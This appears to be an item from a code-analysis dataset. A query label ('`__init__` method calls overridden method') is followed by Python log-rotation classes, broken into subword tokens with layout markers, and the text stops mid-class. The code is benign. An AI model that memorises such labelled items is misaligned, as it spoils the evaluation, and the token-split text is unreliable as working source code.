[ "[CLS]_", "`_", "\\u\\u", "init\\u\\u_", "`_", "method_", "calls_", "overrid", "den_", "method_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Base", "Log", "File_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "base", " ", "class", " ", "for", " ", "a", " ", "log", " ", "file", " ", "tha", "t", " ", "can", " ", "be", " ", "rotated", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "synchronized", "_", "=_", "[_", "\"", "write", "\"_", ",_", "\"", "rota", "te", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "from", "Full", "Path_", "=_", "classmethod_", "(_", "from", "Full", "Path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Base", "Log", "File_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "directory_", ",_", "default", "Mode_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Creat", "e", " ", "a", " ", "log", " ", "file", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "name", ":", " ", "name", " ", "of", " ", "the", " ", "file", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "director", "y", ":", " ", "director", "y", " ", "holding", " ", "the", " ", "file", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "default", "Mode", ":", " ", "permissi", "ons", " ", "used", " ", "to", " ", "create", " ", "the", " ", "file", ".", " ", "Default", " ", "to", "\\", "10", ";", " ", " ", " ", " ", "current", " ", "permissi", "ons", " ", "of", " ", "the", " ", "file", " ", "if", " ", "the", " ", "file", " ", "exist", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "directory_", "=_", "directory_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "name_", "=_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "directory_", ",_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "default", "Mode_", "is_", "None_", "and_", "os_", "._", "path_", "._", "exists_", "(_", "self_", "._", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "default", "Mode_", "=_", "stat_", "._", "S", "\\u", "IMO", "DE_", "(_", "os_", "._", "stat_", "(_", "self_", "._", "path_", ")_", "[_", "stat_", "._", "ST", "\\u", "MODE_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "default", "Mode_", "=_", "default", "Mode_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "open", "File_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Log", "File_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "from", "Full", "Path_", "(_", "cls_", ",_", "filename_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Construct", " ", "a", " ", "log", " ", "file", " ", "from", " ", "a", " ", "full", " ", "file", " ", "path", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "Path_", "=_", "os_", "._", "path_", "._", "abspath_", "(_", "filename_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "cls_", "(_", "os_", "._", "path_", "._", "basename_", "(_", "log", "Path_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "path_", "._", "dirname_", "(_", "log", "Path_", ")_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Log", "File_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "shou", "ld", "Rotate", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Override", " ", "with", " ", "a", " ", "method", " ", "to", " ", "tha", "t", " ", "return", "s", " ", "true", " ", "if", " ", "the", " ", "log", "\\", "10", ";", " ", " ", " ", " ", "shou", "ld", " ", "be", " ", "rotated", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Log", "File_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "open", "File_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Open", " ", "the", " ", "log", " ", "file", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "closed_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "exists_", "(_", "self_", "._", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "file_", "=_", "file_", "(_", "self_", "._", "path_", ",_", "\"", "r", "+\"_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "file_", "._", "seek_", "(_", "0_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "default", "Mode_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Set", " ", "the", " ", "lowe", "st", " ", "permissions_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "old", "Uma", "sk_", "=_", "os_", "._", "umask", "_", "(_", "0_", "777_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "\\u", "file_", "=_", "file_", "(_", "self_", "._", "path_", ",_", "\"", "w", "+\"_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "os_", "._", "umask", "_", "(_", "old", "Uma", "sk_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "file_", "=_", "file_", "(_", "self_", "._", "path_", ",_", "\"", "w", "+\"_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "default", "Mode_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "chmod_", "(_", "self_", "._", "path_", ",_", "self_", "._", "default", "Mode_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "OSE", "rror_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Prob", "abl", "y", " ", "/", "dev", "/", "null", " ", "or", " ", "somet", "hing", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Log", "File_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "getstate", "\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "state_", "=_", "self_", "._", "\\u\\u", "dict\\u\\u_", "._", "copy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "state_", "[_", "\"\\u", "file", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "state_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Log", "File_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "setstate", "\\u\\u_", "(_", "self_", ",_", "state_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u\\u", "dict\\u\\u_", "=_", "state_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "open", "File_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Log", "File_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "write_", "(_", "self_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Write", " ", "some", " ", "data", " ", "to", " ", "the", " ", "file", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "shou", "ld", "Rotate", "_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "rotate_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "file_", "._", "write_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Log", "File_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "flush_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Flu", "sh", " ", "the", " ", "file", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "file_", "._", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Log", "File_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "close_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Clos", "e", " ", "the", " ", "file", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "file", " ", "cann", "ot", " ", "be", " ", "used", " ", "onc", "e", " ", "it", " ", "has", " ", "bee", "n", " ", "close", "d", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "closed_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "file_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "file_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Log", "File_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "reo", "pen_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Re", "open", " ", "the", " ", "log", " ", "file", ".", " ", "Thi", "s", " ", "is", " ", "mainl", "y", " ", "usef", "ul", " ", "if", " ", "you", " ", "use", " ", "an", " ", "external", " ", "log", "\\", "10", ";", " ", " ", " ", " ", "rotati", "on", " ", "tool", ",", " ", "whi", "ch", " ", "moves", " ", "under", " ", "your", " ", "feet", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Not", "e", " ", "tha", "t", " ", "on", " ", "Window", "s", " ", "you", " ", "probab", "ly", " ", "need", " ", "a", " ", "specific", " ", "API", " ", "to", " ", "rename", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "file", ",", " ", "as", " ", "it", "'", "s", " ", "not", " ", "support", "ed", " ", "to", " ", "simp", "ly", " ", "use", " ", "os", ".", "rename", ",", " ", "for", " ", "example", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "open", "File_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Log", "File_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Curr", "ent", "Log_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", " ", "a", " ", "Log", "Read", "er", " ", "for", " ", "the", " ", "current", " ", "log", " ", "file", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Log", "Reader_", "(_", "self_", "._", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Log", "File_", "(_", "Base", "Log", "File_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "log", " ", "file", " ", "tha", "t", " ", "can", " ", "be", " ", "rotated", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "rota", "te", "Length", " ", "of", " ", "Non", "e", " ", "disable", "s", " ", "automati", "c", " ", "log", " ", "rotati", "on", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Log", "File_", "(_", "Base", "Log", "File_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "directory_", ",_", "rota", "te", "Length_", "=_", "1000000_", ",_", "default", "Mode_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "max", "Rotate", "d", "Files_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Creat", "e", " ", "a", " ", "log", " ", "file", " ", "rotati", "ng", " ", "on", " ", "length", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "name", ":", " ", "file", " ", "name", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "name", ":", " ", "C", "{", "str", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "director", "y", ":", " ", "path", " ", "of", " ", "the", " ", "log", " ", "file", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "director", "y", ":", " ", "C", "{", "str", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "rota", "te", "Length", ":", " ", "size", " ", "of", " ", "the", " ", "log", " ", "file", " ", "where", " ", "it", " ", "rota", "tes", ".", " ", "Default", " ", "to", "\\", "10", ";", " ", " ", " ", " ", "1", "M", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "rota", "te", "Length", ":", " ", "C", "{", "int", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "default", "Mode", ":", " ", "mode", " ", "used", " ", "to", " ", "create", " ", "the", " ", "file", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "default", "Mode", ":", " ", "C", "{", "int", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "max", "Rotate", "d", "Files", ":", " ", "if", " ", "not", " ", "Non", "e", ",", " ", "max", " ", "number", " ", "of", " ", "log", " ", "files", " ", "the", " ", "class", "\\", "10", ";", " ", " ", " ", " ", "create", "s", ".", " ", "Warn", "ing", ":", " ", "it", " ", "remove", "s", " ", "all", " ", "log", " ", "files", " ", "above", " ", "this", " ", "number", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "max", "Rotate", "d", "Files", ":", " ", "C", "{", "int", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Base", "Log", "File_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "directory_", ",_", "default", "Mode_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "rota", "te", "Length_", "=_", "rota", "te", "Length_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "max", "Rotate", "d", "Files_", "=_", "max", "Rotate", "d", "Files_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Log", "File_", "(_", "Base", "Log", "File_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "open", "File_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Base", "Log", "File_", "._", "\\u", "open", "File_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "size_", "=_", "self_", "._", "\\u", "file_", "._", "tell_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Log", "File_", "(_", "Base", "Log", "File_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "shou", "ld", "Rotate", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Rotate", " ", "whe", "n", " ", "the", " ", "log", " ", "file", " ", "size", " ", "is", " ", "large", "r", " ", "than", " ", "rota", "te", "Length", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "rota", "te", "Length_", "and_", "self_", "._", "size_", ">=_", "self_", "._", "rota", "te", "Length_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Log", "File_", "(_", "Base", "Log", "File_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Log_", "(_", "self_", ",_", "identifier_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Give", "n", " ", "an", " ", "integ", "er", ",", " ", "return", " ", "a", " ", "Log", "Read", "er", " ", "for", " ", "an", " ", "old", " ", "log", " ", "file", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filename_", "=_", "\"%", "s", ".", "%", "d", "\"_", "%_", "(_", "self_", "._", "path_", ",_", "identifier_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "filename_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", ",_", "\"", "no", " ", "suc", "h", " ", "logfile", " ", "exist", "s", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "Log", "Reader_", "(_", "filename_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Log", "File_", "(_", "Base", "Log", "File_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "write_", "(_", "self_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Write", " ", "some", " ", "data", " ", "to", " ", "the", " ", "file", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Base", "Log", "File_", "._", "write_", "(_", "self_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "size_", "+=_", "len_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Log", "File_", "(_", "Base", "Log", "File_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "rotate_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Rotate", " ", "the", " ", "file", " ", "and", " ", "create", " ", "a", " ", "new", " ", "one", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "it", "'", "s", " ", "not", " ", "possib", "le", " ", "to", " ", "open", " ", "new", " ", "logfile", ",", " ", "this", " ", "will", " ", "fail", " ", "silently", ",", "\\", "10", ";", " ", " ", " ", " ", "and", " ", "continue", " ", "logg", "ing", " ", "to", " ", "old", " ", "logfile", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "(_", "os_", "._", "access_", "(_", "self_", "._", "directory_", ",_", "os_", "._", "W", "\\u", "OK_", ")_", "and_", "os_", "._", "access_", "(_", "self_", "._", "path_", ",_", "os_", "._", "W", "\\u", "OK_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "logs_", "=_", "self_", "._", "list", "Logs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logs_", "._", "reverse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "logs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "max", "Rotate", "d", "Files_", "is_", "not_", "None_", "and_", "i_", ">=_", "self_", "._", "max", "Rotate", "d", "Files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "remove_", "(_", "\"%", "s", ".", "%", "d", "\"_", "%_", "(_", "self_", "._", "path_", ",_", "i_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "rename_", "(_", "\"%", "s", ".", "%", "d", "\"_", "%_", "(_", "self_", "._", "path_", ",_", "i_", ")_", ",_", "\"%", "s", ".", "%", "d", "\"_", "%_", "(_", "self_", "._", "path_", ",_", "i_", "+_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "file_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "rename_", "(_", "self_", "._", "path_", ",_", "\"%", "s", ".1", "\"_", "%_", "self_", "._", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "open", "File_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Log", "File_", "(_", "Base", "Log", "File_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", 